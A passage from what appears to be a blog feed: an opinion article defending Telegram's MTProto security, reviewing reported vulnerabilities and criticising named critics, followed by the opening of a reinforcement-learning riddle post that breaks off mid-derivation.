<p>Anyone can design a cipher that he himself cannot break. This is why you
should uniformly distrust amateur cryptography, and why you should only use
published algorithms that have withstood broad cryptanalysis. All
cryptographers know this, but non-cryptographers do not. And this is why we
repeatedly see bad amateur cryptography in fielded systems. —
<a href="https://www.schneier.com/blog/archives/2015/05/amateurs_produc.html">Bruce Schneier (May 2015)</a></p>
</blockquote>
<p>This is something that makes sense, especially if there is already an established
protocol that suits your needs. However, it does not mean there cannot be
exceptions to this rule, otherwise we would never have new protocols.</p>
<p>The Telegram team believed they had valid reasons to create their own protocol,
as you can read in one of the replies they gave to the critiques above:</p>
<blockquote>
<p>Still, there are sometimes valid reasons for not re-using existing solutions.
In our case, we needed something that is both secure and competitive in
comparison to mass market solutions in terms of speed, working on weak
connections and usability. — <a href="https://news.ycombinator.com/item?id=6914294">Telegram (Dec, 2013)</a></p>
</blockquote>
<p>Moreover, Pavel Durov himself, explicitly voiced his scepticism towards “best
practices” introduced by the crypto community, which can be interpreted as an
other of Telegram’s motivation to implement a new protocol:</p>
<blockquote>
<p>[..] I don’t see anything wrong with different teams trying different approaches.
[..] What if some of the common “best practices” are intentionally promoted
in the crypto-community as the best ones exactly because they contain flaws
and backdoors? — <a href="https://news.ycombinator.com/item?id=6938622">Pavel Durov (Dec, 2013)</a></p>
</blockquote>
<p>This may seem a bit extreme, however keep in mind that this was 2013, the year
of Snowden’s revelations, <a href="https://www.theverge.com/2013/12/20/5231006/nsa-paid-10-million-for-a-back-door-into-rsa-encryption-according-to">which confirmed that this happened before</a>, and it’s not
unreasonable to believe that
<a href="https://www.reuters.com/article/us-usa-security-congress-insight-idUSKBN27D1CS">it could happen again</a>.</p>
<p>Finally, Durov also tried to reassure the public about the skills of their team,
defending its members from the accusation of being <a href="https://news.ycombinator.com/user?id=moxie">amateurs</a>
or <a href="https://news.ycombinator.com/item?id=6913632">a bunch of randoms</a>:</p>
<blockquote>
<p>The team behind Telegram, led by <a href="https://en.wikipedia.org/wiki/Nikolai_Durov">Nikolai Durov</a>, consists of six ACM
champions, half of them Ph.Ds in math. It took them about two years to roll
out the current version of MTProto. Names and degrees may indeed not mean as
much in some fields as they do in others, but this protocol is the result of
thougtful and prolonged work of professionals.</p>
</blockquote>
<p>Ultimately, everyone has a different opinion regarding the fact that it would have
been better for Telegram to use some already existing protocol, or at least
design their own making more conventional choices. It is impossible to predict
now what would have happened had they made a different choice. The fact remains
that they <em>did</em> roll their own unconventional protocol despite the crypto community
ridiculing them as amateurs and labelling the protocol as insecure.</p>
<p>However, Telegram was launched 8 years ago.
Enough time has passed to give us a chance to stop an endless debate based on opinions, and
evaluate the facts. Was this protocol secure like Telegram stated, or was it something
completely insecure that should never be used like many experts claimed?
And what about its present-day security?</p>
<p>Let us find out.</p>
<h3 id="vulns">History of Telegram vulnerabilities<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#vulns"><span class="icon icon-link"></span></a></h3>
<p>This section mentions a few vulnerabilities found in old versions of Telegram’s
protocol. However, it is worth noting that <a href="https://arxiv.org/abs/2012.03141v1">the second version of the protocol
has been recently audited and its correctness formally proven</a>.</p>

<h4 id="dec-21-2013-telegram-protocol-defeated">(Dec 21, 2013) Telegram protocol defeated<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#dec-21-2013-telegram-protocol-defeated"><span class="icon icon-link"></span></a></h4>
<p>Telegram was initially launched
between August (iOS) and October (Android) 2013, and the first (and only) serious
vulnerability was found just two months later.</p>
<p>A Russian IT-community user <a href="https://translate.google.com/translate?hl=en&#x26;sl=ru&#x26;u=http://habrahabr.ru/post/206900/">discovered</a> that the modified version of the
<a href="https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange">Diffie-Hellman key exchange</a> used by Telegram’s secret chats,
which added a <a href="https://en.wikipedia.org/wiki/Cryptographic_nonce">nonce</a> generated by the server,
allowed the server to perform a <a href="https://en.wikipedia.org/wiki/Man-in-the-middle_attack">Man-in-the-middle attack</a>.</p>
<p>Telegram <a href="https://telegram.org/blog/crowdsourcing-a-more-secure-future">awarded the developer that found the vulnerability $100,000</a>
and quickly
fixed the issue. They also motivated their changes to the standard DH algorithm as
follows:</p>
<blockquote>
<p>These nonce numbers were introduced to add more randomness to the secret
chat keys, mostly because of possible undiscovered vulnerabilities of the
random generators on mobile devices (for example, one such vulnerability
was found this August in <a href="http://android-developers.blogspot.ru/2013/08/some-securerandom-thoughts.html">android phones</a>). — <a href="https://telegram.org/blog/crowdsourcing-a-more-secure-future">The Telegram Team</a></p>
</blockquote>
<p>This was, as far as I am aware, the only real vulnerability
ever found on Telegram. The rest of the section reports less severe
nonpractical vulnerabilities, or non-vulnerabilities that are often used to
support the claim that Telegram is insecure, and can thus be safely skipped if
one does not care about such details.</p>
<h4 id="jan-9-2015-a-2⁶⁴-attack-on-telegram">(Jan 9, 2015) A 2⁶⁴ Attack On Telegram<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#jan-9-2015-a-2⁶⁴-attack-on-telegram"><span class="icon icon-link"></span></a></h4>
<p>It was <a href="https://web.archive.org/web/20181118154823/https://www.alexrad.me/discourse/a-264-attack-on-telegram-and-why-a-super-villain-doesnt-need-it-to-read-your-telegram-chats.html">reported</a> that someone with
access to Telegram’s servers could perform a <a href="https://en.wikipedia.org/wiki/Man-in-the-middle_attack">Man-in-the-middle attack</a>
requiring 2⁶⁴ computations.</p>
<p>The original authors estimated the cost of the attack in the tens of millions
of USD. Telegram estimated an even higher cost:</p>
<blockquote>
<p>Our calculations show that for this kind of attack to succeed in one month —
even with all possible optimizations using cycle finding, etc. — the attacker
would need equipment worth around a trillion dollars. And the attack would
consume approximately 50 billion kW.h of electricity in the process, worth
hundred millions of dollars. All of this for just one secret chat. Deployment
of FPGA and ASICs might lower this estimate by an order of magnitude, but the
attack would still remain infeasible. — <a href="https://web.archive.org/web/20150323142815/https://core.telegram.org/techfaq#hash-collisions-for-diffie-hellman-keys">The Telegram Team</a></p>
</blockquote>
<p>Recent versions of Telegram use <a href="https://core.telegram.org/techfaq/mtproto_v1#hash-collisions-for-diffie-hellman-keys">288-bit fingerprints rendering this attack completely
impossible</a>.</p>
<h4 id="feb-23-2015-telegram-app-store-secret-chat-messages-in-plain-text-database">(Feb 23, 2015) Telegram App Store Secret-Chat Messages in Plain-Text Database<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#feb-23-2015-telegram-app-store-secret-chat-messages-in-plain-text-database"><span class="icon icon-link"></span></a></h4>
<p><a href="https://blog.zimperium.com/telegram-hack/">Zimperium reported</a> that if a user’s phone is compromised and
then a kernel
exploit is used to gain root privileges, then Telegram’s secret chats can be
read from memory or from its private storage.</p>
<p>This seems totally obvious. If your kernel is compromised, there is no secure
messaging app that is able to protect you.</p>

<h4 id="dec-8-2015-on-the-cca-insecurity-of-mtproto">(Dec 8, 2015) On the CCA (in)security of MTProto<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#dec-8-2015-on-the-cca-insecurity-of-mtproto"><span class="icon icon-link"></span></a></h4>
<p>It was <a href="https://eprint.iacr.org/2015/1177">reported</a> that
MTProto 1.0 was not IND-CCA secure. The authors state that there is no practical
attack:</p>
<blockquote>
<p>We stress that this is a theoretical attack on the definition of security and
we do not see any way of turning the attack into a full plaintext-recovery attack.</p>
</blockquote>
<p><a href="https://core.telegram.org/techfaq/mtproto_v1#what-about-ind-cca">Telegram clarified that this is not a practical vulnerability in their FAQs</a>.
Moreover, <a href="https://core.telegram.org/techfaq#what-about-ind-cca">“MTProto 2.0 satisfies the conditions for indistinguishability under
chosen ciphertext attack (IND-CCA)”</a>.</p>
<h4 id="aug-2016-iranian-hackers">(Aug, 2016) Iranian hackers<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#aug-2016-iranian-hackers"><span class="icon icon-link"></span></a></h4>
<p>Reuters <a href="https://www.reuters.com/article/us-iran-cyber-telegram-exclusive-idUSKCN10D1AM">reported</a> that Iranian hackers have compromised some Telegram accounts
by intercepting SMS-verification codes and managed to confirm the existence of
Telegram accounts for 15 million Iranian phone numbers.</p>
<p>Attacks relying on intercepting SMS-verification codes are a known threat to
all messaging apps which rely on phone numbers. On Telegram they can be avoided by enabling
<a href="https://telegram.org/faq#q-how-does-2-step-verification-work">2-Step Verification</a>.</p>
<p>Regarding the identification of accounts, Telegram <a href="https://telegram.org/blog/15million-reuters">stated</a> that it is known that
any party can check whether a phone number is registered in the system.
They also introduced a limitation in their APIs to avoid such mass checks.</p>
<h4 id="mar-2020-42-million-iranian-user-ids-and-phone-numbers-leaked">(Mar, 2020) 42 million Iranian user IDs and phone numbers leaked<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#mar-2020-42-million-iranian-user-ids-and-phone-numbers-leaked"><span class="icon icon-link"></span></a></h4>
<p><a href="https://www.comparitech.com/blog/information-security/iranian-telegram-accounts-leaked/">IDs and phone numbers of 42m Iranian users, which were using a third party
unofficial Telegram app, were leaked online</a>.</p>
<p>The official Telegram app is blocked in Iran, so millions of users installed
an unofficial client. This is unfortunate. However, it is not a Telegram’s
vulnerability.</p>


<h3 id="defamation">Defamation<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#defamation"><span class="icon icon-link"></span></a></h3>
<blockquote>
<p><strong>Defamation</strong>: the act of communicating false statements about a person that
injure the reputation of that person. — <a href="https://www.merriam-webster.com/dictionary/defamation">Merriam-Webster</a></p>
</blockquote>
<p>A big chunk of the criticism of Telegram amounts to defamation, lies
and arguments from authority. Unfortunately this is not an opinion, but a verifiable
fact. Even more unfortunate is the fact that many of these come from respected
figures of the  computer security community. In this section
I provide three examples, but you can easily find many more if you search a bit.</p>

<p><strong>Disclaimer</strong>. I firmly believe one should assume good faith whenever possible. If someone says
something wrong,
they are probably just wrong, they didn’t necessarily mean any harm. However,
one should also be careful not to be fooled. The quotes reported in this section
are from experts of the field whose job relies on knowing these things, or
from journalists whose job is to verify the truth of what they publish. It
cannot be assumed they just did not know what they were talking about.</p>

<h4 id="dec-2015-ptacek-and-marlinspike">(Dec, 2015) Ptacek and Marlinspike<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#dec-2015-ptacek-and-marlinspike"><span class="icon icon-link"></span></a></h4>
<p>Take, for example, this tweet:</p>
<blockquote>
<p>By default Telegram stores the PLAINTEXT of EVERY MESSAGE every user has ever
sent or received on THEIR SERVER. — <a href="https://twitter.com/tqbf/status/678065993587945472">Thomas H. Ptacek (Dec, 2015)</a></p>
</blockquote>
<p>Ptacek shows no proof for his statement. So, either he has proof to back his
claim, but, for some
reason, decided not to disclose it, or he is just lying.</p>
<p>Moreover, the intent is clearly sensationalist. They store EVERY MESSAGE on THEIR
SERVER! Where else would they store them? On YOUR server?</p>
<p>The reply from Durov didn’t take long:</p>
<blockquote>
<p>This is false: @telegram never stores plaintext of messages, and deleted
messages are erased forever. Do you get paid for posting BS? —
<a href="https://twitter.com/durov/status/678255789296001024">Pavel Durov</a></p>
</blockquote>
<p>This is reasonable. What reason would Telegram have to store the plaintext of
the messages? It doesn’t take that much effort to encrypt them at rest. Of
course, they can still access them, but it is a very different thing that storing
them without any encryption.</p>
<p>But wait for it, here is the icing on the cake:</p>
<blockquote>
<p>@durov If you can’t admit you have plaintext access to everyone’s default
msgs, I know for sure you’re being intentionally deceptive. —
<a href="https://twitter.com/moxie/status/678307382712111104">Moxie Marlinspike</a></p>
</blockquote>
<p>Well done! First they lured Durov into replying to a bogus claim, and once
he fell for it, Moxie delivered the final blow. 👏</p>
<p>Let me explain, in case this is not clear. Here Moxie is pretending the
discussion was about having <em>plaintext access</em>, which obviously Telegram has
for non-secret chats, instead of <em>plaintext storage</em>, which is what Ptacek was
talking about. Then, he accused Durov of being deceptive if he
cannot admit this secret truth.</p>
<p>To summarize, the original tweet could have been stated as:
“By default Telegram does not use end-to-end
encryption, and thus can potentially read your messages”. This could still have been
interesting for users which do not know about the benefits of E2EE. However,
without the capslock and the unfounded claim that they store the PLAINTEXT of
EVERY MESSAGE, it probably gets a little less interesting.</p>

<h4 id="nov-2015-daily-dot">(Nov, 2015) Daily Dot<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#nov-2015-daily-dot"><span class="icon icon-link"></span></a></h4>
<p>Let’s see another example. On November 2015 the Daily Dot, publishes an article
titled <a href="https://web.archive.org/web/20151222145526/http://www.dailydot.com/politics/telegram-isis-encryption-cryptography/">“Cryptography expert casts doubt on
encryption in ISIS’ favorite messaging app”</a>.</p>
<blockquote>
<p>Telegram, the encrypted messaging app of choice for terrorist groups like ISIS,
may not be as secure as the company wants people to think.</p>
<p>Telegram makes some pretty bold claims about the security of its application,
but a cryptography expert said that the algorithm and methods that it uses to
encrypt messages between users are “made up.”</p>
<p>“They basically made up a protocol,” Matthew Green, a professor of
cryptography at Johns Hopkins University, told the Daily Dot. “According to
their blog post, they have a couple of really brilliant mathematicians who
aren’t really cryptographers but were smart so they came up with their own
protocol. It’s pretty crazy. It’s not something that a cryptographer would
use. That said, I don’t know if it’s broken. But, it’s just weird.”</p>
</blockquote>
<p>Let’s see what we have here:</p>
<ul class="checks">
<li>Trying to damage Telegram's reputation by associating it with ISIS
</li><li>Argument from authority (an expert said this, it must be true)
</li><li>Ad hominem attack on Telegram's team
</li><li>Admitting in the end, that they don't really know if it's broken
</li></ul>
<p>There are even more unfounded claims in the article, if you are interested.</p>

<h4 id="jun-2016-gizmodo">(Jun, 2016) Gizmodo<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#jun-2016-gizmodo"><span class="icon icon-link"></span></a></h4>
<p>Lastly, I will show some highlights from a 2016 article
by Gizmodo, titled
<a href="https://web.archive.org/web/20160624170246/http://gizmodo.com/why-you-should-stop-using-telegram-right-now-1782557415">“Why You Should Stop Using Telegram Right Now”</a>.
This article became quite popular and the Telegram Team even posted a reply
titled
<a href="https://telegra.ph/Why-you-should-stop-reading-Gizmodo-right-now-Long">“Should you stop reading Gizmodo right now?”</a>. I encourage
you to check them out both for a better understanding.</p>
<p>Here we go:</p>
<ol>
<li>
<blockquote>
<p>One major problem Telegram has is that it doesn’t encrypt chats by default</p>
</blockquote>
<p>They are confusing encryption and end-to-end encryption.</p>
</li>
<li>
<blockquote>
<p>Contrary to the opinions of almost every encryption and security expert,
Telegram’s FAQ touts itself as more secure as WhatsApp. But in reality,
WhatsApp uses the most highly praised encryption protocol on the market and
encrypts every text message and call by default.</p>
</blockquote>
<p>We already discussed why it is not sufficient to implement end-to-end encryption
to have a secure app, and the flaws in WhatsApp’s implementation.</p>
</li>
<li>
<blockquote>
<p>experts also indicate that the actual encryption technology is flawed</p>
</blockquote>
<p>If it is that flawed, it should be easy to back these claims with some evidence.</p>
</li>
<li>
<blockquote>
<p>That’s the trouble with security by obscurity. It’s usual for cryptographers
to reveal the algorithms completely, but here we are in the dark. [..]</p>
</blockquote>
<p>That’s just false. The protocol is open. The client is open source.</p>
</li>
<li>
<blockquote>
<p>Unless you have considerable experience, you shouldn’t write your own crypto.
No one really understands why they did that.</p>
</blockquote>
<p>If you phrase it like that, it seems they were totally out of their minds. The
truth is that they
stated their reasons for going down that road, but it is clearly easier to say
that “no one really understands”, instead of doing some research.</p>
</li>
</ol>
<p>It is worth noting that in 2019, Gizmodo realized their article was wrong
and <a href="https://gizmodo.com/why-you-should-stop-using-telegram-right-now-1782557415">amended it</a> clarifying that
“client-server communication is encrypted by default”.</p>



<h2 id="conclusion">Conclusion<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#conclusion"><span class="icon icon-link"></span></a></h2>
<p>Let us finally draw some conclusions from all this.</p>
<ol>
<li><strong>Not everybody has the same security and privacy
requirements</strong>. Nobody that I know of <em>routinely</em> compares public key fingerprints
before starting every E2EE chat. Most of them care about device synchronization
and not losing their chat history, though.
These people are happily trusting the Service with their data and that is OK.
It may be sad, but it is what it is. On the other hand, a whistleblower, or
someone concerned about being targeted by a government, for example, is going to be much
more careful and will probably take many extra steps to safe-guard their security.</li>
</ol>

<ol start="2">
<li>
<p>Even if it is a very nice property to have, <strong>E2EE
is hard to get down correctly and introduces a series of usability challenges</strong>.
We showed how WhatsApp’s implementation is not solid because by default it
totally ignores key changes and it encourages users to make unencrypted backups.
Although it would be nice if there was a perfectly secure and privacy-respecting
messaging app that also had great usability, we are simply not there yet.</p>
</li>
<li>
<p><strong>Preventing the community from verifying the correctness of an E2EE
implementation severely limits its usefulness</strong>. Having to completely trust
the Service to implement it correctly, almost
defeats its purpose. Unfortunately that is the case with WhatsApp, which has
closed source apps, forbids reverse engineering and routinely blocks third party clients.
Of course, in case you equally trust two
Services and one claims to have better security, it is probably better to
choose that one, even if you cannot verify their claims.</p>
</li>
<li>
<p><strong>Be aware of who you are trusting</strong>. Using some apps might require a considerable 
level of trust in the Service, as is the case with both Telegram and WhatsApp.
It is, thus, paramount to do some research and understand if that trust
is totally misplaced or well deserved. This is more subjective than an exact
since. However, some examples are to review the vulnerability history of the
Service to assess how seriously they take the security of their product and
to avoid trusting companies whose commercial interests consists in selling
your private data.</p>
<p>I included the history of vulnerabilities of Telegram in this article, and
planned to do the same for WhatsApp. However, WhatsApp’s history is much
longer and deserves an article on its own, which I hope to write in the future.</p>
</li>
<li>
<p>Finally, <strong>denigrating others is not nice</strong>. Attacking and undermining
them just because they are not part of the
cool kids’ club is despicable and may take a toll on your reputation. Please stop.</p>
</li>
</ol>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Reinforcement Learning Riddle]]></title>
            <link>https://germano.dev/rl-riddle/</link>
            <guid>https://germano.dev/rl-riddle/</guid>
            <pubDate>Tue, 03 Mar 2020 00:00:00 GMT</pubDate>
            <description><![CDATA[I proved 1=0 starting from the formula for the on-policy distribution in episodic tasks. Obviously there is some mistake, can you spot it? 🤔.]]></description>
            <content:encoded><![CDATA[<p>I proved <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">1=0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">0</span></span></span></span></span> starting from the formula for the <em>on-policy distribution in
episodic tasks</em>. Obviously there is a mistake, can you spot it? 🤔.</p>
<h2 id="the-proof">The <em>proof</em><a aria-hidden="true" tabindex="-1" class="h-anchor" href="#the-proof"><span class="icon icon-link"></span></a></h2>
<p>From page 199 of Sutton’s book:</p>
<blockquote>
<p>Let <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">h(s)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault">h</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span></span></span></span></span> denote the probability that an episode begins in each state <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi></mrow><annotation encoding="application/x-tex">s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathdefault">s</span></span></span></span></span>, and
let <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>η</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\eta(s)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span></span></span></span></span> denote the number of time steps spent, on average, in state <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi></mrow><annotation encoding="application/x-tex">s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathdefault">s</span></span></span></span></span>
in a single episode. Time is spent in a sate <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi></mrow><annotation encoding="application/x-tex">s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathdefault">s</span></span></span></span></span> if episodes start in <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi></mrow><annotation encoding="application/x-tex">s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathdefault">s</span></span></span></span></span>, or
if transitions are made into <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi></mrow><annotation encoding="application/x-tex">s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathdefault">s</span></span></span></span></span> from a preceding state <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover></mrow><annotation encoding="application/x-tex">\bar s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.56778em;vertical-align:0em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span></span></span></span></span> in which time
is spent:</p>
<div class="math math-display"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>η</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo><mo>=</mo><mi>h</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo><mo>+</mo><munder><mo>∑</mo><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover></munder><mi>η</mi><mo stretchy="false">(</mo><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo><munder><mo>∑</mo><mi>a</mi></munder><mi>π</mi><mo stretchy="false">(</mo><mi>a</mi><mi mathvariant="normal">∣</mi><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo><mi>p</mi><mo stretchy="false">(</mo><mi>s</mi><mi mathvariant="normal">∣</mi><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo separator="true">,</mo><mi>a</mi><mo stretchy="false">)</mo><mo separator="true">,</mo><mtext> for all </mtext><mi>s</mi><mo>∈</mo><mi mathvariant="script">S</mi><mi mathvariant="normal">.</mi></mrow><annotation encoding="application/x-tex">\eta(s) = h(s) + \sum_{\bar s} \eta(\bar s) \sum_a \pi(a|\bar s)p(s|\bar s,a), \text{ for all }s\in\mathcal S.</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault">h</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:2.3000100000000003em;vertical-align:-1.250005em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8999949999999999em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord accent mtight"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="mord mathdefault mtight">s</span></span><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord mtight">ˉ</span></span></span></span></span></span></span></span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.250005em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8999949999999999em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">a</span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.250005em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">π</span><span class="mopen">(</span><span class="mord mathdefault">a</span><span class="mord">∣</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord mathdefault">p</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mord">∣</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault">a</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord text"><span class="mord"> for all </span></span><span class="mord mathdefault">s</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathcal" style="margin-right:0.075em;">S</span><span class="mord">.</span></span></span></span></span></div>
<p>This system of equations can be solved for the expected number of visits <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>η</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\eta(s)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span></span></span></span></span>.
The on-policy distribution is then the fraction of time spent in each state
normalized to sum to one:</p>
